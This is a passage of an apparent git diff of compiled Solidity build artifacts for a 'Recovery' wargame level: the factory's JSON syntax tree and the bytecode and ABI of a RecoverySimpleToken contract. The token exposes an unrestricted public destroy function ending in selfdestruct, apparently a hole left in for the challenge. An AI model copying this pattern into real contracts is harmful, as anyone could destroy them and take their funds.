Recovery"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":54851,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"420:12:104","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Recovery_$54732_$","typeString":"function () returns (contract Recovery)"},"typeName":{"id":54850,"nodeType":"UserDefinedTypeName","pathNode":{"id":54849,"name":"Recovery","nameLocations":["424:8:104"],"nodeType":"IdentifierPath","referencedDeclaration":54732,"src":"424:8:104"},"referencedDeclaration":54732,"src":"424:8:104","typeDescriptions":{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}}},"id":54852,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"420:14:104","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}},"src":"401:33:104","typeDescriptions":{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}},"id":54854,"nodeType":"ExpressionStatement","src":"401:33:104"},{"expression":{"arguments":[{"hexValue":"496e697469616c546f6b656e","id":54858,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"508:14:104","typeDescriptions":{"typeIdentifier":"t_stringliteral_8c1ff47e2a5dd47adcf399e149ab8e984c2fff17dc6ed89ed4d3122196a73e13","typeString":"literal_string \"InitialToken\""},"value":"InitialToken"},{"arguments":[{"hexValue":"313030303030","id":54861,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"532:6:104","typeDescriptions":{"typeIdentifier":"t_rational_100000_by_1","typeString":"int_const 100000"},"value":"100000"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_100000_by_1","typeString":"int_const 100000"}],"id":54860,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"524:7:104","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":54859,"name":"uint256","nodeType":"ElementaryTypeName","src":"524:7:104","typeDescriptions":{}}},"id":54862,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"524:15:104","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8c1ff47e2a5dd47adcf399e149ab8e984c2fff17dc6ed89ed4d3122196a73e13","typeString":"literal_string \"InitialToken\""},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":54855,"name":"recoveryInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54846,"src":"477:16:104","typeDescriptions":{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}},"id":54857,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"494:13:104","memberName":"generateToken","nodeType":"MemberAccess","referencedDeclaration":54731,"src":"477:30:104","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_uint256_$returns$__$","typeString":"function (string memory,uint256) external"}},"id":54863,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"477:63:104","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54864,"nodeType":"ExpressionStatement","src":"477:63:104"},{"expression":{"id":54898,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":54865,"name":"lostAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54828,"src":"578:11:104","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_address_$","typeString":"mapping(address => address)"}},"id":54870,"indexExpression":{"arguments":[{"id":54868,"name":"recoveryInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54846,"src":"598:16:104","typeDescriptions":{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}],"id":54867,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"590:7:104","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":54866,"name":"address","nodeType":"ElementaryTypeName","src":"590:7:104","typeDescriptions":{}}},"id":54869,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"590:25:104","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"578:38:104","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"30786436","id":54882,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"689:4:104","typeDescriptions":{"typeIdentifier":"t_rational_214_by_1","typeString":"int_const 214"},"value":"0xd6"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_214_by_1","typeString":"int_const 214"}],"id":54881,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"683:5:104","typeDescriptions":{"typeIdentifier":"t_type$_t_uint8_$","typeString":"type(uint8)"},"typeName":{"id":54880,"name":"uint8","nodeType":"ElementaryTypeName","src":"683:5:104","typeDescriptions":{}}},"id":54883,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"683:11:104","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},{"arguments":[{"hexValue":"30783934","id":54886,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"702:4:104","typeDescriptions":{"typeIdentifier":"t_rational_148_by_1","typeString":"int_const 148"},"value":"0x94"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_148_by_1","typeString":"int_const 148"}],"id":54885,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"696:5:104","typeDescriptions":{"typeIdentifier":"t_type$_t_uint8_$","typeString":"type(uint8)"},"typeName":{"id":54884,"name":"uint8","nodeType":"ElementaryTypeName","src":"696:5:104","typeDescriptions":{}}},"id":54887,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"696:11:104","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},{"id":54888,"name":"recoveryInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54846,"src":"709:16:104","typeDescriptions":{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}},{"arguments":[{"hexValue":"30783031","id":54891,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"733:4:104","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"0x01"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"id":54890,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"727:5:104","typeDescriptions":{"typeIdentifier":"t_type$_t_uint8_$","typeString":"type(uint8)"},"typeName":{"id":54889,"name":"uint8","nodeType":"ElementaryTypeName","src":"727:5:104","typeDescriptions":{}}},"id":54892,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"727:11:104","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint8","typeString":"uint8"},{"typeIdentifier":"t_uint8","typeString":"uint8"},{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"},{"typeIdentifier":"t_uint8","typeString":"uint8"}],"expression":{"id":54878,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"666:3:104","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":54879,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"670:12:104","memberName":"encodePacked","nodeType":"MemberAccess","src":"666:16:104","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":54893,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"666:73:104","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":54877,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"656:9:104","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":54894,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"656:84:104","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":54876,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"648:7:104","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":54875,"name":"uint256","nodeType":"ElementaryTypeName","src":"648:7:104","typeDescriptions":{}}},"id":54895,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"648:93:104","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":54874,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"640:7:104","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":54873,"name":"uint160","nodeType":"ElementaryTypeName","src":"640:7:104","typeDescriptions":{}}},"id":54896,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"640:102:104","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":54872,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"619:7:104","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":54871,"name":"address","nodeType":"ElementaryTypeName","src":"619:7:104","typeDescriptions":{}}},"id":54897,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"619:133:104","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"578:174:104","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54899,"nodeType":"ExpressionStatement","src":"578:174:104"},{"assignments":[54901,null],"declarations":[{"constant":false,"id":54901,"mutability":"mutable","name":"result","nameLocation":"798:6:104","nodeType":"VariableDeclaration","scope":54924,"src":"793:11:104","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":54900,"name":"bool","nodeType":"ElementaryTypeName","src":"793:4:104","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":54914,"initialValue":{"arguments":[{"hexValue":"","id":54912,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"871:2:104","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"baseExpression":{"id":54902,"name":"lostAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54828,"src":"809:11:104","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_address_$","typeString":"mapping(address => address)"}},"id":54907,"indexExpression":{"arguments":[{"id":54905,"name":"recoveryInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54846,"src":"829:16:104","typeDescriptions":{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}],"id":54904,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"821:7:104","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":54903,"name":"address","nodeType":"ElementaryTypeName","src":"821:7:104","typeDescriptions":{}}},"id":54906,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"821:25:104","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"809:38:104","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54908,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"848:4:104","memberName":"call","nodeType":"MemberAccess","src":"809:43:104","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":54911,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"expression":{"id":54909,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"860:3:104","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54910,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"864:5:104","memberName":"value","nodeType":"MemberAccess","src":"860:9:104","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"809:61:104","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$value","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":54913,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"809:65:104","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"792:82:104"},{"expression":{"arguments":[{"id":54916,"name":"result","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54901,"src":"892:6:104","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":54915,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"884:7:104","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":54917,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"884:15:104","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54918,"nodeType":"ExpressionStatement","src":"884:15:104"},{"expression":{"arguments":[{"id":54921,"name":"recoveryInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54846,"src":"925:16:104","typeDescriptions":{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}],"id":54920,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"917:7:104","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":54919,"name":"address","nodeType":"ElementaryTypeName","src":"917:7:104","typeDescriptions":{}}},"id":54922,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"917:25:104","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":54835,"id":54923,"nodeType":"Return","src":"910:32:104"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"206:14:104","overrides":{"id":54832,"nodeType":"OverrideSpecifier","overrides":[],"src":"253:8:104"},"parameters":{"id":54831,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54830,"mutability":"mutable","name":"_player","nameLocation":"229:7:104","nodeType":"VariableDeclaration","scope":54925,"src":"221:15:104","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54829,"name":"address","nodeType":"ElementaryTypeName","src":"221:7:104","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"220:17:104"},"returnParameters":{"id":54835,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54834,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":54925,"src":"271:7:104","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54833,"name":"address","nodeType":"ElementaryTypeName","src":"271:7:104","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"270:9:104"},"scope":54947,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":54946,"nodeType":"FunctionDefinition","src":"955:166:104","nodes":[],"body":{"id":54945,"nodeType":"Block","src":"1053:68:104","nodes":[],"statements":[{"expression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":54943,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"baseExpression":{"id":54937,"name":"lostAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54828,"src":"1078:11:104","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_address_$","typeString":"mapping(address => address)"}},"id":54939,"indexExpression":{"id":54938,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54927,"src":"1090:9:104","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1078:22:104","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":54936,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1070:7:104","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":54935,"name":"address","nodeType":"ElementaryTypeName","src":"1070:7:104","typeDescriptions":{}}},"id":54940,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1070:31:104","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54941,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1102:7:104","memberName":"balance","nodeType":"MemberAccess","src":"1070:39:104","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":54942,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1113:1:104","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"1070:44:104","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":54934,"id":54944,"nodeType":"Return","src":"1063:51:104"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"964:16:104","overrides":{"id":54931,"nodeType":"OverrideSpecifier","overrides":[],"src":"1029:8:104"},"parameters":{"id":54930,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54927,"mutability":"mutable","name":"_instance","nameLocation":"997:9:104","nodeType":"VariableDeclaration","scope":54946,"src":"981:25:104","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":54926,"name":"address","nodeType":"ElementaryTypeName","src":"981:15:104","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":54929,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":54946,"src":"1008:7:104","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54928,"name":"address","nodeType":"ElementaryTypeName","src":"1008:7:104","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"980:36:104"},"returnParameters":{"id":54934,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54933,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":54946,"src":"1047:4:104","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":54932,"name":"bool","nodeType":"ElementaryTypeName","src":"1047:4:104","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1046:6:104"},"scope":54947,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":54823,"name":"Level","nameLocations":["139:5:104"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"139:5:104"},"id":54824,"nodeType":"InheritanceSpecifier","src":"139:5:104"}],"canonicalName":"RecoveryFactory","contractDependencies":[54732],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[54947,55508,46700,48281],"name":"RecoveryFactory","nameLocation":"120:15:104","scope":54948,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":104} \ No newline at end of file diff --git a/contracts/out/RecoverySimpleToken.sol/RecoverySimpleToken.json b/contracts/out/RecoverySimpleToken.sol/RecoverySimpleToken.json new file mode 100644 index 000000000..51f44c21f --- /dev/null +++ b/contracts/out/RecoverySimpleToken.sol/RecoverySimpleToken.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"_name","type":"string","internalType":"string"},{"name":"_creator","type":"address","internalType":"address"},{"name":"_initialSupply","type":"uint256","internalType":"uint256"}],"stateMutability":"nonpayable"},{"type":"receive","stateMutability":"payable"},{"type":"function","name":"balances","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"destroy","inputs":[{"name":"to","type":"address","internalType":"address payable"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"transfer","inputs":[{"name":"_to","type":"address","internalType":"address"},{"name":"_amount","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b5060405161065d38038061065d83398101604081905261002e91610088565b5f61003984826101e7565b506001600160a01b039091165f90815260016020526040902055506102a6565b634e487b7160e01b5f52604160045260245ffd5b80516001600160a01b0381168114610083575f80fd5b919050565b5f805f6060848603121561009a575f80fd5b83516001600160401b03808211156100b0575f80fd5b818601915086601f8301126100c3575f80fd5b8151818111156100d5576100d5610059565b604051601f8201601f19908116603f011681019083821181831017156100fd576100fd610059565b81604052828152602093508984848701011115610118575f80fd5b5f91505b82821015610139578482018401518183018501529083019061011c565b5f84848301015280975050505061015181870161006d565b93505050604084015190509250925092565b600181811c9082168061017757607f821691505b60208210810361019557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101e257805f5260205f20601f840160051c810160208510156101c05750805b601f840160051c820191505b818110156101df575f81556001016101cc565b50505b505050565b81516001600160401b0381111561020057610200610059565b6102148161020e8454610163565b8461019b565b602080601f831160018114610247575f84156102305750858301515b5f19600386901b1c1916600185901b17855561029e565b5f85815260208120601f198616915b8281101561027557888601518255948401946001909101908401610256565b508582101561029257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b6103aa806102b35f395ff3fe608060405260043610610040575f3560e01c8062f55d9d1461007a57806306fdde031461009b57806327e235e3146100c5578063a9059cbb146100fe575f80fd5b366100765761005034600a61023d565b335f908152600160205260408120805490919061006e90849061025a565b925050819055005b5f80fd5b348015610085575f80fd5b50610099610094366004610291565b61011d565b005b3480156100a6575f80fd5b506100af610136565b6040516100bc91906102b3565b60405180910390f35b3480156100d0575f80fd5b506100f06100df366004610291565b60016020525f908152604090205481565b6040519081526020016100bc565b348015610109575f80fd5b506100996101183660046102ff565b6101c1565b8073ffffffffffffffffffffffffffffffffffffffff16ff5b5f805461014290610329565b80601f016020809104026020016040519081016040528092919081815260200182805461016e90610329565b80156101b95780601f10610190576101008083540402835291602001916101b9565b820191905f5260205f20905b81548152906001019060200180831161019c57829003601f168201915b505050505081565b335f908152600160205260409020548111156101db575f80fd5b335f908152600160205260409020546101f5908290610361565b335f908152600160205260408082209290925573ffffffffffffffffffffffffffffffffffffffff93909316835290912055565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761025457610254610229565b92915050565b8082018082111561025457610254610229565b73ffffffffffffffffffffffffffffffffffffffff8116811461028e575f80fd5b50565b5f602082840312156102a1575f80fd5b81356102ac8161026d565b9392505050565b5f602080835283518060208501525f5b818110156102df578581018301518582016040015282016102c3565b505f604082860101526040601f19601f8301168501019250505092915050565b5f8060408385031215610310575f80fd5b823561031b8161026d565b946020939093013593505050565b600181811c9082168061033d57607f821691505b60208210810361035b57634e487b7160e01b5f52602260045260245ffd5b50919050565b818103818111156102545761025461022956fea2646970667358221220c9134af66ed7e2a49491b5d790782434553ea1d5e16210de8b65579076dfd58664736f6c63430008180033","sourceMap":"57:795:105:-:0;;;209:149;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;294:4;:12;301:5;294:4;:12;:::i;:::-;-1:-1:-1;;;;;;316:18:105;;;;;;;:8;:18;;;;;:35;-1:-1:-1;57:795:105;;14:127:155;75:10;70:3;66:20;63:1;56:31;106:4;103:1;96:15;130:4;127:1;120:15;146:177;225:13;;-1:-1:-1;;;;;267:31:155;;257:42;;247:70;;313:1;310;303:12;247:70;146:177;;;:::o;328:1190::-;426:6;434;442;495:2;483:9;474:7;470:23;466:32;463:52;;;511:1;508;501:12;463:52;538:16;;-1:-1:-1;;;;;603:14:155;;;600:34;;;630:1;627;620:12;600:34;668:6;657:9;653:22;643:32;;713:7;706:4;702:2;698:13;694:27;684:55;;735:1;732;725:12;684:55;764:2;758:9;786:2;782;779:10;776:36;;;792:18;;:::i;:::-;867:2;861:9;835:2;921:13;;-1:-1:-1;;917:22:155;;;941:2;913:31;909:40;897:53;;;965:18;;;985:22;;;962:46;959:72;;;1011:18;;:::i;:::-;1051:10;1047:2;1040:22;1086:2;1078:6;1071:18;1108:4;1098:14;;1149:7;1144:2;1139;1135;1131:11;1127:20;1124:33;1121:53;;;1170:1;1167;1160:12;1121:53;1192:1;1183:10;;1202:129;1216:2;1213:1;1210:9;1202:129;;;1304:10;;;1300:19;;1294:26;1273:14;;;1269:23;;1262:59;1227:10;;;;1202:129;;;1373:1;1368:2;1363;1355:6;1351:1